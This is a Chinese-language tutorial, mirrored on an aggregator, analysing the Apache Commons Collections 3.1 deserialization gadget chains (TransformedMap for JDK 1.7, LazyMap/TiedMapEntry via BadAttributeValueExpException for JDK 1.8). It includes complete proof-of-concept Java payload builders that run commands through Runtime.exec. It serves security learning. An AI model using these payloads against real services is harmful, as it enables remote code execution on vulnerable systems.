8

从apache-commons-collections中学习java反序列化

 2 years ago
source link: https://shu1l.github.io/2020/11/25/cong-apache-commons-collections-zhong-xue-xi-java-fan-xu-lie-hua/
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.

从apache-commons-collections中学习java反序列化

本文首发于先知社区:从apache-commons-collections中学习java反序列化 - 先知社区 (aliyun.com)

​ java安全学习的第一篇文章,apache commons collections3.1的反序列化漏洞是java历史上最出名同时也是最具有代表性的反序列化漏洞,废话不多说,我们直接上手分析。希望能帮助到和我一样的初学者。

基础知识准备

java反射机制

​ 反射就是在运行时才知道要操作的类是什么,并且可以在运行时获取类的完整构造,并调用对应的方法。

​ Java反射在编写漏洞利用代码、代码审计、绕过RASP方法限制等中起到了至关重要的作用。

Java.lang.Class;
Java.lang.reflect.Constructor;
Java.lang.reflect.Field;
Java.lang.reflect.Method;
Java.lang.reflect.Modifier;
获取反射中的Class对象
#Class.forName 静态方法
Class clz = Class.forName("java.lang.String");
#使用 .class 方法。
Class clz = String.class;
#使用类对象的 getClass() 方法
String str = new String("Hello");
Class clz = str.getClass();
getMethod方法返回一个特定的方法,其中第一个参数为方法名称,后面的参数为方法的参数对应Class的对象

public Method getMethod(String name, Class<?>... parameterTypes)
反射Runtime执行本地命令
// 获取Runtime类对象
Class runtimeClass1 = Class.forName("java.lang.Runtime");

// 获取构造方法
Constructor constructor = runtimeClass1.getDeclaredConstructor();
constructor.setAccessible(true);

// 创建Runtime类示例,等价于 Runtime rt = new Runtime();
Object runtimeInstance = constructor.newInstance();

// 获取Runtime的exec(String cmd)方法
Method runtimeMethod = runtimeClass1.getMethod("exec", String.class);

// 调用exec方法,等价于 rt.exec(cmd);
Process process = (Process) runtimeMethod.invoke(runtimeInstance, cmd);

// 获取命令执行结果
InputStream in = process.getInputStream();

// 输出命令执行结果
System.out.println(IOUtils.toString(in, "UTF-8"));

Java反序列化

​ 类似php中反序列化使用的魔术方法,比如__destruct函数。在java中,readObject方法在反序列化漏洞时起到了至关重要的作用,利用ObjectInputStream的readObject方法进行对象读取的时候,当readObject()方法被重写的时候,反序列化该类时调用的就是重写的方法。

private void writeObject(ObjectOutputStream oos)  //自定义序列化
private void readObject(ObjectInputStream ois) //自定义反序列化
private void readObjectNoData()
protected Object writeReplace() //写入时替换对象。
protected Object readResolve()

反序列化时会自动调用readObject(ObjectInputStream)方法。我们通过在需要序列化/反序列化的类中定义readObjectwriteObject方法从而实现自定义的序列化和反序列化操作。

漏洞原理分析

我们在分析cc链反序列化化漏洞的主要思路其实就是两条:

  • 利用InvokerTransformerConstantTransformerChainedTransformer 等类构建反射链,利用java的反射机制,然后通过类中的transformer类来调用。
  • 找Common Collections中的类在反序列化时,会触发调用 transform 方法的情况,并以此来构建反序列化漏洞的攻击链。

接下来我们使用IDEA跟进代码进行审计

一、寻找反射链

org/apache/commons/collections/functors/InvokerTransformer

IDEA跟进类中(48~61行):

​ 可以看到此处的transform方法调用了java的反射机制,并且发现this.iMethodName , this.iParamTypes, this.iArgs我们都是可以直接输入的。而input是在函数调用的时候传入的,我们同样是可控的。

当我们向对应参数传入以下值,即可以调用代码执行:

存在一组可控的反射调用是cc链存在反序列化漏洞的根本原因,但是这里我们只能只能在本地服务器上执行。是无法达成我们想要远程执行命令的效果,这里主要的限制是我们没有没有办法直接传入Runtime类的实例对象。

要想真正的形成调用链,我们仍然需要利用java的反射机制来调用函数,并且至少要调用四个方法:

getMethod(), getRuntime(), exec() ,invoke()

所以我们之后找到了ChainedTransformer 类。

org/apache/commons/collections/functors/ChainedTransformer

IDEA跟进53~63行

简单的分析代码逻辑,该类的构造函数接受一个数组,我们只需要传入一个数组chainedTransformer就可以依次去调用每一个类的transform方法。

org/apache/commons/collections/functors/ConstantTransformer

接口函数,在上面的循环中进入了不同的函数。给一个初始的object,然后输出作为下一个输入,从而实现链式调用。

最后的反射poc如下:

Transformer[] transformers = new Transformer[] {
//传入Runtime类
new ConstantTransformer(Runtime.class),
//反射调用getMethod方法,然后getMethod方法再反射调用getRuntime方法,返回Runtime.getRuntime()方法
new InvokerTransformer("getMethod",
new Class[] {String.class, Class[].class },
new Object[] {"getRuntime", new Class[0] }),
//反射调用invoke方法,然后反射执行Runtime.getRuntime()方法,返回Runtime实例化对象
new InvokerTransformer("invoke",
new Class[] {Object.class, Object[].class },
new Object[] {null, new Object[0] }),
//反射调用exec方法
new InvokerTransformer("exec",
new Class[] {String.class },
new Object[] {"open -a Calculator"})
};
Transformer transformerChain = new ChainedTransformer(transformers);

我们已经构造好了恶意的反射链条,现在我们的目标是触发该类的transform方法。

二、寻找触发链

某个类的readObject方法
->一系列调用
->Transformerchain的transformer方法
->执行反射链
->执行Runtime.getRuntime().exec(new String[]{"calc"})
  • 找到一个 tansform() 方法 , 该方法所属的实例对象是可控的
  • 找到一个重写的 readObject() 方法 , 该方法会自动调用 transform() 方法.

JDK1.7–TransformedMap利用链

Transmap类在一个元素被添加/删除/或是被修改时,会调用transform方法。我们可以通过TransformedMap.decorate()方法获得一个TransformedMap的实例。

​ 因此,我们可以先构造一个TransformeMap实例,然后修改其中的数据,然后使其自动调用我们之前设定好的transform()方法。

->ObjectInputStream.readObject()
->AnnotationInvocationHandler.readObject()
->TransformedMap.entrySet().iterator().next().setValue()
->TransformedMap.checkSetValue()
->TransformedMap.transform()
->ChainedTransformer.transform()

首先看/org/apache/commons/collections/map/TransformedMap

protected TransformedMap(Map map, Transformer keyTransformer, Transformer valueTransformer) {
super(map);
this.keyTransformer = keyTransformer;
this.valueTransformer = valueTransformer;
}

TransformedMap中的valueTransformer在初始化时我们是可控的.

public Object put(Object key, Object value) {
key = this.transformKey(key);
value = this.transformValue(value);
return this.getMap().put(key, value);
}

当执行put方法时会进入transformValue方法:

protected Object transformValue(Object object) {
return this.valueTransformer == null ? object : this.valueTransformer.transform(object);
}

我们可以控制这里的valueTransformer值为ChianedTransformer即可触发利用链。

但是目前的构造仍然需要Map中的某一项去调用setValue(),我们如果想要在反序列化调用readObject()时直接触发呢?

AbstractInputCheckedMapDecorator类

​ 调用java自带类AnnotationInvocationHandler中重写的readObject方法,该方法调用时会先将map转为Map.entry,然后执行setvalue操作。

var5.setValue((new AnnotationTypeMismatchExceptionProxy(var8.getClass() + "[" + var8 + "]")).setMember((Method)var2.members().get(var6)));

TransformedMap利用Map.Entry取得第一个值,调用修改值的函数,会触发的setValue()代码

public Object setValue(Object value) {
value = this.parent.checkSetValue(value);
return this.entry.setValue(value);
}

接着到了TransoformedMap的checkSetValue()方法。

protected Object checkSetValue(Object value) {
return this.valueTransformer.transform(value);
}

​ 这里的valueTransformer.transform实际上就是ChianedTransformer类的transform方法。就会触发刚刚我们构造的反射链。

最后的POC:

这里直接上其他大师傅们的poc:

package Serialize2;


import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Map;

public class ApacheSerialize2 implements Serializable {
public static void main(String[] args) throws Exception{
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"})
};
Transformer transformerChain = new ChainedTransformer(transformers);

Map map = new HashMap();
map.put("value", "sijidou");
Map transformedMap = TransformedMap.decorate(map, null, transformerChain);

Class cl = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor ctor = cl.getDeclaredConstructor(Class.class, Map.class);
ctor.setAccessible(true);
Object instance = ctor.newInstance(Target.class, transformedMap);

//序列化
FileOutputStream fileOutputStream = new FileOutputStream("serialize3.txt");
ObjectOutputStream objectOutputStream = new ObjectOutputStream(fileOutputStream);
objectOutputStream.writeObject(instance);
objectOutputStream.close();

//反序列化
FileInputStream fileInputStream = new FileInputStream("serialize3.txt");
ObjectInputStream objectInputStream = new ObjectInputStream(fileInputStream);
Object result = objectInputStream.readObject();
objectInputStream.close();
System.out.println(result);

}
}

JDK1.8–LazyMap利用链

​ 对于JDK 1.8来说,AnnotationInvocationHandler类中关键的触发点,setvalue发生了改变。所以我们需要寻找新的类重写readObject来实现调用,

反序列化BadAttributeValueExpException
->BadAttributeValueExpException.readObject()
->TideMapEntry.toString()
->TideMapEntry.getValue()
->LazyMap.get()
->ChainedTransformer.transform()

我们首先看一下LazyMap这个类,这个类也实现了一个map接口:

protected LazyMap(Map map, Transformer factory)
{
super(map);
if (factory == null) {
throw new IllegalArgumentException("Factory must not be null");
}
this.factory = factory;
}

//get方法
public Object get(Object key)
{
if (!this.map.containsKey(key))
{
Object value = this.factory.transform(key);
this.map.put(key, value);
return value;
}
return this.map.get(key);
}

​ 我们可以看到get方法中如果没有找到key的键值,就会调用factory.transform(key);,这里的factory变量属于Transformer接口类并且具体使用哪一个类来实例化对象是我们可控的。也就可以形成调用链。

那么如何去自动调用get()方法,跟进TiedMapEntry

public TiedMapEntry(Map map, Object key)
{
this.map = map;
this.key = key;
}

//toString方法
public String toString()
{
return getKey() + "=" + getValue();
}

//getKey方法
public Object getValue()
{
return this.map.get(this.key);
}

TiedMapEntry中,构造时传入使用LazyMap,调用tostring()方法,然后紧接着就会调用LazyMap类对象的get方法。

​ 那么到目前为止,我们仍然需要一个类可以在反序列化重写readObject()时可以自动调用toString方法。完整的利用链就可以形成。

BadAttributeValueExpException类

看到BadAttributeValueExpExceptionreadObject反序列化方法,调用了toString方法。

private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {
ObjectInputStream.GetField gf = ois.readFields();
Object valObj = gf.get("val", null);

if (valObj == null) {
val = null;
} else if (valObj instanceof String) {
val= valObj;
} else if (System.getSecurityManager() == null
|| valObj instanceof Long
|| valObj instanceof Integer
|| valObj instanceof Float
|| valObj instanceof Double
|| valObj instanceof Byte
|| valObj instanceof Short
|| valObj instanceof Boolean) {
val = valObj.toString();
} else { // the serialized object is from a version without JDK-8019292 fix
val = System.identityHashCode(valObj) + "@" + valObj.getClass().getName();
}
}

​ 其中 valObj 为构造的 TiedMapEntry 类的对象,可以看到其中调用了该类的 toString 函数。

​ 所以,我们只要构造一个BadAttributeValueExpException对象,并注入我们精心制造的TiedMapEntry对象。就可在以在反序列时,执行任意命令。

最后的POC
public class Exec  {

public static BadAttributeValueExpException getObject(final String command) throws Exception {
final String[] execArgs = new String[] { command };
// inert chain for setup
final Transformer transformerChain = new ChainedTransformer(
new Transformer[]{ new ConstantTransformer(1) });
// real chain for after setup
final Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {
String.class, Class[].class }, new Object[] {
"getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {
Object.class, Object[].class }, new Object[] {
null, new Object[0] }),
new InvokerTransformer("exec",
new Class[] { String.class }, execArgs),
new ConstantTransformer(1) };

final Map innerMap = new HashMap();

final Map lazyMap = LazyMap.decorate(innerMap, transformerChain);

TiedMapEntry entry = new TiedMapEntry(lazyMap, "foo");

BadAttributeValueExpException val = new BadAttributeValueExpException(null);
Field valfield = val.getClass().getDeclaredField("val");
valfield.setAccessible(true);
valfield.set(val, entry);
Class<? extends Transformer> aClass = transformerChain.getClass();

Field iTransformers = aClass.getDeclaredField("iTransformers");
iTransformers.setAccessible(true);
iTransformers.set(transformerChain,transformers);

return val;
}

public static void main(String[] args) throws Exception {

BadAttributeValueExpException calc = getObject("calc");

ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();//用于存放person对象序列化byte数组的输出流

ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
objectOutputStream.writeObject(calc);//序列化对象
objectOutputStream.flush();
objectOutputStream.close();

byte[] bytes = byteArrayOutputStream.toByteArray(); //读取序列化后的对象byte数组

ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(bytes);//存放byte数组的输入流

ObjectInputStream objectInputStream = new ObjectInputStream(byteArrayInputStream);
Object o = objectInputStream.readObject(); //将byte数组输入流反序列化


}

}

https://b1ue.cn/archives/166.html

https://www.mi1k7ea.com/2019/02/06/Java%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E/

https://www.secpulse.com/archives/137940.html

https://shaobaobaoer.cn/java-an-quan-xue-xi-bi-ji-si-apache-commons-collectionsfan-xu-lie-hua-lou-dong/

https://security.tencent.com/index.php/blog/msg/97

https://www.xmanblog.net/java-deserialize-apache-commons-collections/

https://lzwgiter.github.io/Apache-Commons-Collections%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E/

https://xz.aliyun.com/t/4558#toc-0


About Joyk


Aggregate valuable and interesting links.
Joyk means Joy of geeK